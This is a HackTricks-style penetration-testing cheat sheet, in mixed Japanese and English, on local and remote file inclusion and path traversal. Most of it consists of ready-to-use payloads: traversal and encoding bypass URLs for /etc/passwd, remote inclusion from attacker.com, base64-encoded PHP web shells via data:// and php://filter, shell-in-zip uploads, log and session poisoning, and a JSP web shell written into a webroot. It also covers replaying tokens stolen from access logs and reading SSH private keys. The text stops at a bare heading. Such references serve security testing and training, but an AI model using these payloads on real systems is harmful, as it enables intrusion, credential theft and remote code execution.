File Inclusion/Path traversal

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

サブスクリプションプランを確認してください！

**💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。

HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

File Inclusion

Remote File Inclusion (RFI): ファイルがリモートサーバーから読み込まれる（ベスト: あなたがコードを書き、そのサーバーがそれを実行する）。phpではこれはデフォルトで無効（allow_url_include）。
Local File Inclusion (LFI): サーバーがローカルファイルを読み込む。

この脆弱性は、ユーザーが何らかの形でサーバーにより読み込まれるファイルを制御できる場合に発生する。

脆弱な PHP functions: require, require_once, include, include_once

この脆弱性を悪用するための興味深いツール: https://github.com/kurobeats/fimap

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*いくつかの nix LFI リストを組み合わせ、さらにパスを追加してこれを作成しました：

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Try also to change / for \
Try also to add ../../../../../

複数の手法を使ってファイル /etc/password を探して（脆弱性が存在するか確認するための）リストはここにあります。

Windows

異なる wordlists のマージ：

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Try also to change / for \
Try also to remove C:/ and add ../../../../../

複数の手法を使ってファイル /boot.ini を探して（脆弱性が存在するか確認するための）リストはここにあります。

基本的な LFI とバイパス

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences を非再帰的に削除

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Encoding

double URL encode (and others) のような非標準のエンコーディングを使用できます:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

近年の HTML-to-PDF エンジン（例: TCPDF や html2pdf のようなラッパー）は、攻撃者が提供した HTML、SVG、CSS、フォントの URL を問題なく解析しますが、これらはファイルシステムへアクセスできる信頼されたバックエンドネットワーク内で動作します。$pdf->writeHTML()/Html2Pdf::writeHTML() に HTML を注入できれば、ウェブサーバーのアカウントが読み取れるローカルファイルをしばしば exfiltrate できます。

Fingerprint the renderer: 生成される PDF には必ず Producer フィールド（例: TCPDF 6.8.2）が含まれます。正確なビルドがわかれば、どのパスフィルタが存在するか、バリデーションの前に URL デコードが行われるかを把握できます。
Inline SVG payloads: TCPDF::startSVGElementHandler() は urldecode() を実行する前に <image> 要素の xlink:href 属性を読み取ります。悪意ある SVG を data URI 内に埋め込むと、多くの HTML サニタイザがペイロードを無視する一方で TCPDF はそれを解析します:

<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDFは/で始まるパスに$_SERVER['DOCUMENT_ROOT']を先頭に付け、..を解決するのは後になるため、プレペンド後にルートから抜けるには先頭に../../..セグメントを付けるか/../../..を使ってください。

単純なフィルタを回避するためのエンコーディング: Versions ≤6.8.2 は URL をデコードする前にリテラルな部分文字列../のみをチェックします。SVG や生の<img src>属性内に..%2f（または..%2F）を送るとチェックをバイパスできます。なぜならトラバーサルのドットドットスラッシュ列は TCPDF がurldecode()を呼んだ後にのみ再生成されるからです。
多段デコードに対する二重エンコード: ユーザ入力が web フレームワークと TCPDF の両方でデコードされる場合は、スラッシュを二重エンコード（%252f）してください。一回のデコードで%2fになり、TCPDF の二回目のデコードで/になります。結果として/..%252f.. → /../../../…となり、早期のフィルタに../を一切見せることなく抜けられます。
HTML <img> handler: TCPDF::openHTMLTagHandler()は同じ順序の不具合を含んでおり、src="%2f..%252f..%252ftmp%252fsecret.png"のような直接的な HTML ペイロードでローカルの任意のビットマップを読み取れます。

このテクニックは PDF ワーカーが読み取れるものは何でも leaks します（パスポートスキャン、画像としてレンダリングされた API キーなど）。Hardeners はパスを正規化することで 6.9.1 で修正しました（isRelativePath()）。そのためテストでは古いProducerバージョンを優先してください。

既存のフォルダから

バックエンドがフォルダパスをチェックしているかもしれません:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

サーバー上のファイルシステムのディレクトリ探索

サーバーのファイルシステムは、特定の手法を用いることでファイルだけでなくディレクトリを再帰的に探索できます。このプロセスではディレクトリの深さを特定し、特定のフォルダの存在を確認していきます。以下はその詳細な手順です：

ディレクトリの深さを特定する: 現在のディレクトリの深さは、/etc/passwd ファイルを正常に取得できるかどうかで判断します（サーバーが Linux ベースの場合に有効）。例として、深さが3であることを示す URL は次のような構造になる場合があります：

http://example.com/index.php?page=../../../etc/passwd # depth of 3

フォルダを探る: 疑わしいフォルダ名（例: private）をURLに追加し、その後 /etc/passwd に戻って移動します。追加のディレクトリレベルがあるため、depthを1つ増やす必要があります:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4

結果の解釈: サーバーの応答はフォルダの存在を示します:

エラー / 出力なし: フォルダ private は指定された場所に存在しない可能性が高い。
/etc/passwd の内容: private フォルダの存在が確認される。

再帰的な探索: 発見したフォルダは、同じ手法または従来の Local File Inclusion (LFI) メソッドを使って、サブディレクトリやファイルをさらに調査できます。

ファイルシステムの別の場所にあるディレクトリを探索する場合は、payload を適切に調整してください。たとえば、カレントディレクトリが深さ 3 にあると仮定して、/var/www/ に private ディレクトリが含まれているか確認するには、次を使用します:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation はウェブアプリケーションでファイルパスを操作するために用いられる手法です。ファイルパスの末尾に追加文字を付けるようなセキュリティ対策を回避して、アクセス制限されたファイルに到達するために使われることが多いです。目的は、セキュリティ対策によって変更された後でも依然として目的のファイルを指すようなファイルパスを作成することです。

In PHP、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば：

/etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/はすべて同じパスとして扱われます。
末尾の6文字がpasswdである場合、末尾に/を追加して（passwd/にしても）アクセス対象のファイルは変わりません。
同様に、ファイルパスに.phpが付いている場合（例: shellcode.php）、末尾に/.を追加してもアクセスされるファイルは変わりません。

以下の例は、機密性の高い内容（ユーザーアカウント情報）のために一般的なターゲットである/etc/passwdへアクセスするために path truncation を利用する方法を示しています：

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

これらのシナリオでは、必要なトラバーサルの回数は約2027になることがありますが、この数はサーバーの構成によって変わる可能性があります。

ドットセグメントと追加文字を使用する: トラバーサルシーケンス（../）を追加のドットセグメントや文字と組み合わせることで、ファイルシステムを辿り、サーバーが追記した文字列を実質的に無視して目的の場所に到達できます。
必要なトラバーサル回数の特定: 試行錯誤によって、ルートディレクトリへ、そして /etc/passwd へ到達するのに必要な ../ の正確な回数を見つけることができ、.php のような追記文字列を無効化しつつ目的のパス (/etc/passwd) を維持できます。
偽ディレクトリで開始する: パスを存在しないディレクトリ（例: a/）で始めるのは一般的な手法です。このテクニックは予防策として、またはサーバーのパス解析ロジックの要件を満たすために使われます。

パストランケーション手法を使用する際は、サーバーのパス解析の挙動とファイルシステムの構造を理解することが重要です。各シナリオは異なるアプローチを必要とする場合があり、最も効果的な方法を見つけるためにテストを行うことがしばしば必要です。

この脆弱性は PHP 5.3 で修正されました。

フィルターバイパスのトリック

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

phpではこれはデフォルトで無効になっています。これは allow_url_include が Off. になっているためです。動作させるには On にする必要があり、その場合、サーバー上のPHPファイルをインクルードしてRCEを得ることができます:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

もし何らかの理由で allow_url_include が On になっており、しかし PHP が外部ウェブページへのアクセスをフィルタリングしている場合、この投稿によれば、例えば data プロトコルと base64 を使って b64 PHP コードをデコードし RCE を得ることができます:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

前のコードでは、最後の +.txt は攻撃者が .txt で終わる文字列を必要としていたため追加されました。そのため文字列はそれで終わり、b64 decode の後その部分はただのゴミを返し、実際の PHP コードが含まれる（つまり実行される）ことになります。

別の例（php:// プロトコルを使用しない）は次の通りです:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python ルート要素

python のコードで次のような場合:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

ユーザーがabsolute pathを**file_name**に渡した場合、以前のパスは単に削除されます:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

これは the docs による意図された挙動です：

コンポーネントが絶対パスである場合、それまでのすべてのコンポーネントは破棄され、結合はその絶対パスのコンポーネントから続行されます。

Java のディレクトリ一覧

Javaで Path Traversal がある場合に、ファイルの代わりに ディレクトリを要求すると、ディレクトリの一覧が返されます。これは他の言語では起こらないようです（私の知る限り）。

上位25のパラメータ

以下は local file inclusion (LFI) に脆弱であり得る上位25のパラメータのリストです (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters allow perform basic データに対する変更操作を、読み取られたり書き込まれたりする前に実行できます。フィルタには5つのカテゴリがあります:

String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags: データからタグを削除します（“<” と “>” の間のすべての文字）
Note that this filter has disappear from the modern versions of PHP
Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.* : 別のエンコーディングに変換します（convert.iconv.<input_enc>.<output_enc>）。サポートされているすべてのエンコーディングの一覧を取得するには、コンソールで次を実行します: iconv -l

Warning

Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.

Compression Filters
zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
zlib.inflate: Decompress the data
Encryption Filters
mcrypt.* : 非推奨
mdecrypt.* : 非推奨
Other Filters
phpで var_dump(stream_get_filters()); を実行すると、いくつかの予期しないフィルタが見つかります:
consumed
dechunk: reverses HTTP chunked encoding
convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

“php://filter” の部分は大文字小文字を区別しません

php filters を oracle として任意のファイルを読む方法

In this post では、サーバーから出力を返さずにローカルファイルを読むための技術が提案されています。この手法は boolean exfiltration of the file (char by char) using php filters を oracle として利用するものです。これは php filters を使ってテキストを十分に大きくし、php に例外を発生させることができるためです。

元の投稿には手法の詳細な説明がありますが、ここでは簡単な要約を示します:

Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
- codec UCS-4LE を使用してテキストの先頭文字を保持し、文字列のサイズを指数的に増加させます。
This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an エラー
- これにより、先頭文字が正しく推測されたときに php が エラー を発生させるほど大きなテキストを生成できます。
The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
- dechunk フィルタは 先頭文字が16進数でない場合はすべてを削除する ため、先頭文字が hex（16進数）かどうかを判定できます。
This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won’t delete it and the initial bomb will make php error.
- これと前述の手法（および推測した文字に応じた他のフィルタ）を組み合わせることで、十分な変換を行った結果として先頭文字が16進数でなくなるタイミングから先頭の文字を推測できます。16進数であれば dechunk は削除せず、初期の“爆弾”が php のエラーを引き起こすためです。
The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn’t anymore a hexadecimal character, therefore dechunk doesn’t deleted it and the php error is triggered because it multiplies with the initial bomb.
- codec convert.iconv.UNICODE.CP930 は各文字を次の文字に変換します（つまりこのcodec適用後は a -> b になります）。これにより、例えば先頭文字が a かどうかを判別できます。というのは、このcodecを6回適用すると a->b->c->d->e->f->g となり、その文字はもはや16進数文字ではなくなるため dechunk が削除せず、初期の“爆弾”と相まって php のエラーが発生するからです。
Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- 最初に rot13 のような他の変換を使うことで、n, o, p, q, r のような文字を leak することが可能です（他のcodecを使えば他の文字を16進数範囲に移動できます）。
When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
- 先頭文字が数字の場合は base64 エンコードして先頭2文字を leak する必要があります。
The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
- 最後の問題は 先頭文字以上の情報をどうやって leak するか です。convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE のような順序を操作するメモリフィルタを使用すれば、文字の順序を変更してテキストの他の文字を先頭位置に持ってくることが可能です。
And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
- さらにデータを取得できるようにするためのアイデアは、convert.iconv.UTF16.UTF16 で先頭に2バイトのジャンクデータを生成し、UCS-4LE を適用してそれを次の2バイトと“ピボット”させ、ジャンクデータまでデータを削除することです（これにより初期テキストの最初の2バイトが削除されます）。目的の位置に到達するまでこれを繰り返します。

投稿ではこの処理を自動化するツールも leaked されています: php_filters_chain_oracle_exploit.

php://fd

この wrapper はプロセスが開いている file descriptors にアクセスすることを可能にします。開かれているファイルの内容を exfiltrate するのに有用である可能性があります:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

You can also use php://stdin, php://stdout and php://stderr to access the ファイルディスクリプタ 0、1、2 respectively (攻撃でどのように役立つかは不明)

zip:// and rar://

PHPShell を内部に含む Zip または Rar ファイルをアップロードしてアクセスする。
rar protocol を悪用できるようにするには、明示的に有効化する必要がある。

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

このプロトコルは php の設定 allow_url_open および allow_url_include によって制限されることに注意してください

expect://

Expect は有効化されている必要があります。これを使用してコードを実行できます:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST パラメータで payload を指定してください:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

.phar ファイルは、ウェブアプリケーションがファイル読み込みに include のような関数を利用する場合に、PHP コードを実行するために利用できます。下に示す PHP のコードスニペットは .phar ファイルの作成方法を示しています：

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar ファイルをコンパイルするには、次のコマンドを実行してください:

php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alloc chunks of specific sizes abusing more php filters.

More protocols

Check more possible protocols to include here:

php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
zlib:// — Compression Streams
glob:// — Find pathnames matching pattern (It doesn’t return nothing printable, so not really useful here)
ssh2:// — Secure Shell 2
ogg:// — Audio streams (Not useful to read arbitrary files)

LFI via PHP’s ‘assert’

Local File Inclusion (LFI) risks in PHP are notably high when dealing with the ‘assert’ function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like “..” is being checked but not properly sanitized.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

これは traversal を防止することを目的としているが、意図せず code injection のベクターを作成してしまう。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のようなものを使用する可能性がある:

' and die(highlight_file('/etc/passwd')) or '

同様に、任意のシステムコマンドを実行するには、次のように使うことができます：

' and die(system("id")) or '

It’s important to URL-encode these payloads.

Warning

この手法は、ファイルにアクセスするPHP関数のファイルパスをあなたが制御できるが、ファイルの内容を直接見ることができない場合（例えば単純なfile()の呼び出しのように）に関連します。

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

要約すると、この手法は**“UCS-4LE” encodingを利用してファイルの内容を非常にbigにし、ファイルを開くPHP functionがerror**を引き起こすようにします。

次に、最初の文字をleakするためにフィルタdechunkが使用され、base64やrot13などと組み合わせ、最終的にconvert.iconv.UCS-4.UCS-4LEとconvert.iconv.UTF16.UTF-16BEフィルタを使用して他の文字を先頭に配置し、それらをleakします。

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

Typical exploitation workflow:

path/filename を受け取りコンテンツをディスクに書き込む write primitive を持つ endpoint や background worker を特定する（例: message-driven ingestion、XML/JSON command handlers、ZIP extractors 等）。
Determine web-exposed directories. Common examples:
Apache/PHP: /var/www/html/
Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
IIS: C:\inetpub\wwwroot\ → drop shell.aspx
意図したストレージディレクトリから webroot に脱出するような traversal path を作成し、webshell の中身を含める。
配置した payload にブラウザでアクセスしてコマンドを実行する。

Notes:

書き込みを行う脆弱なサービスは、非HTTPポートで待ち受けている場合がある（例: TCP 4004 の JMF XML listener）。メインの web portal（別ポート）が後であなたの payload を配信する。
Java スタックでは、これらのファイル書き込みは単純な File/Paths の連結で実装されていることが多い。canonicalisation/allow-listing の欠如が根本的な欠陥である。

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

このクラスのバグを防ぐハードニング:

パスを正規化し、allow-listed なベースディレクトリの配下であることを強制する。
..、絶対ルート、またはドライブ文字を含むパスは拒否する。生成されたファイル名を優先する。
書き込み処理は低権限アカウントで実行し、書き込み用ディレクトリを公開ルートから分離する。

Remote File Inclusion

前述の説明はfollow this linkを参照。

Apache/Nginx のログファイル経由

もし Apache または Nginx サーバが vulnerable to LFI で、include 関数内に脆弱性がある場合、/var/log/apache2/access.log or /var/log/nginx/access.log にアクセスを試み、user agent または GET parameter に <?php system($_GET['c']); ?> のような php シェルを設定してそのファイルを include できます。

Warning

シェルに ダブルクォート を使うと シングルクォート の代わりに、ダブルクォートは文字列 “quote;” に変換され、PHP はエラーを投げます そして それ以外は実行されません。

また、payload を正しく書き込む ことを確実にしてください。さもなければログを読み込むたびに PHP がエラーを起こし、再度のチャンスはありません。

他のログでも同様に行えますが、注意、 ログ内のコードが URL encoded されている可能性があり、これが Shell を壊すことがあります。ヘッダ authorisation “basic” は Base64 で “user:password” を含み、ログ内でデコードされます。PHPShell はこのヘッダ内に挿入できます.
その他の可能なログパス:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

アクセスログを読み取って GET-based auth tokens を収集する (token replay)

多くのアプリは誤って GET 経由で session/auth tokens を受け付けます（例: AuthenticationToken, token, sid）。path traversal/LFI のプリミティブで web server logs にアクセスできる場合、access logs からそれらのトークンを盗み出して replay し、認証を完全に bypass できます。

How-to:

traversal/LFI を使って web server access log を読みます。一般的な場所:
/var/log/apache2/access.log, /var/log/httpd/access_log
/var/log/nginx/access.log
一部のエンドポイントはファイル読み取りを Base64-encoded で返すことがあります。その場合はローカルでデコードしてログ行を確認してください。
Grep で token パラメータを含む GET リクエストを探してその値を取得し、application entry point に対して replay します。

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

ボディがBase64であればデコードし、キャプチャしたtokenをreplayする:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notes:

URL内のトークンはデフォルトでログに記録されます。本番環境ではGET経由でbearer tokensを受け入れないでください。
アプリが複数のトークン名をサポートしている場合は、AuthenticationToken, token, sid, access_token のような一般的なキーを探してください。
logsにleakedした可能性のあるトークンはすべてローテーションしてください。

メール経由

メールを送る — 内部アカウント (user@localhost) に <?php echo system($_REQUEST["cmd"]); ?> のようなPHP payloadを含むメールを送り、ユーザーのメールを /var/mail/<USERNAME> や /var/spool/mail/<USERNAME> のようなパスで include してみてください。

/proc//fd/ 経由

大量のshellsをアップロードする（例えば: 100）
http://example.com/index.php?page=/proc/$PID/fd/$FD を include します。ここで $PID = プロセスのPID（can be brute forced）で、$FD はファイルディスクリプタ（これもcan be brute forced）です。

/proc/self/environ 経由

ログファイルと同様に、User-Agentにpayloadを入れて送ると、/proc/self/environ ファイル内に反映されます。

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

アップロード経由

ファイルをアップロードできる場合は、その中にシェルペイロードを注入するだけです（例：<?php system($_GET['c']); ?>）。

http://example.com/index.php?page=path/to/uploaded/file.png

ファイルを読みやすく保つためには、pictures/doc/pdf のメタデータに注入するのが最良です。

ZIPファイルアップロード経由

圧縮された PHP shell を含む ZIP ファイルをアップロードし、アクセス:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions を使って

ウェブサイトが PHP Session (PHPSESSID) を使用しているか確認する

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHPでは、これらのセッションは /var/lib/php5/sess\[PHPSESSID]_ ファイルに保存されます

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

cookie を <?php system('cat /etc/passwd');?> に設定してください

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFIを使ってPHPのセッションファイルを含める

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

経由 ssh

ssh が有効な場合、どのユーザが使用されているかを (/proc/self/status & /etc/passwd) で確認し、<HOME>/.ssh/id_rsa にアクセスしてみる。

経由 vsftpd ログ

FTP サーバ vsftpd のログは /var/log/vsftpd.log にあります。Local File Inclusion (LFI) 脆弱性が存在し、公開された vsftpd サーバにアクセスできる場合、次の手順が考えられます:

ログイン時の username フィールドに PHP payload を注入する。
注入後、LFI を用いて /var/log/vsftpd.log からサーバログを取得する。

経由 php base64 filter (base64 を使用)

この記事で示されているように、PHP base64 filter は Non-base64 を無視します。これを利用してファイル拡張子チェックをバイパスできます。例えば、“.php” で終わる base64 を与えると、filter は “.” を無視して base64 に “php” を付加します。以下は例の payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters 経由（ファイル不要）

This writeup は、php filters を使って任意のコンテンツを出力として生成できることを説明しています。つまり、include のために 任意の php code を生成して、ファイルに書き込む必要なく利用できる、ということです。

LFI2RCE via PHP Filters

segmentation fault を利用

ファイルをアップロードして /tmp に temporary として保存させ、同じリクエスト内で segmentation fault を発生させると、temporary file won’t be deleted ため、そのファイルを探索できる場合があります。

LFI2RCE via Segmentation Fault

Nginx の一時ファイルストレージ経由

もし Local File Inclusion を見つけ、Nginx が PHP の前段で動作している場合、以下の手法で RCE が得られる可能性があります:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS を利用

